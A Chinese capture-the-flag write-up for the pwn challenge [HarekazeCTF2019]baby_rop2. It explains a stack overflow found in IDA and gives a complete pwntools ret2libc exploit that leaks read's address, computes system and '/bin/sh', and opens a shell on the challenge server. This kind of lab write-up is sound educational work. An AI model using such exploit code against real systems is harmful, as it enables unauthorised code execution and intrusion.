[HarekazeCTF2019]baby_rop2
使用checksec
查看:
只开启了栈不可执行。
先放进IDA中分析:
v3 = read(0, buf, 0x100uLL);
:变量buf
可读入0x100
大小的数据,距离rbp
0x20
,存在栈溢出。
题目思路
- 在静态代码审计的时候只发现了一个栈溢出漏洞。
- 程序中没有
system()
函数,也没有/bin/bash
字符串。 - 考虑用ret2libc的方式去做。
步骤解析
64位程序传参的时候是先会使用寄存器的,所以我门先要找到可用的
rdi
和rsi
地址。
rsi
采用第二个,r15
在本次pwn中使用不到,直接置为0即可。接着只需要套用ret2libc的公式就能getshell了。
注意有个坑:需要使用
read@got
,printf@got
不知道为啥使用不了。在getshell之后还有个小坑:flag不在当前目录,在
/home/babyrop2/flag
下。
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26613)
# r = process("../buu/[HarekazeCTF2019]baby_rop2")
elf = ELF("../buu/[HarekazeCTF2019]baby_rop2")
libc = ELF("../buu/ubuntu16(64).so")
#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770
#attack
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.recv()
r.sendline(payload)
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))
#libc
base_addr = read_addr - libc.symbols['read']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))
#attack2
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline(payload)
r.interactive()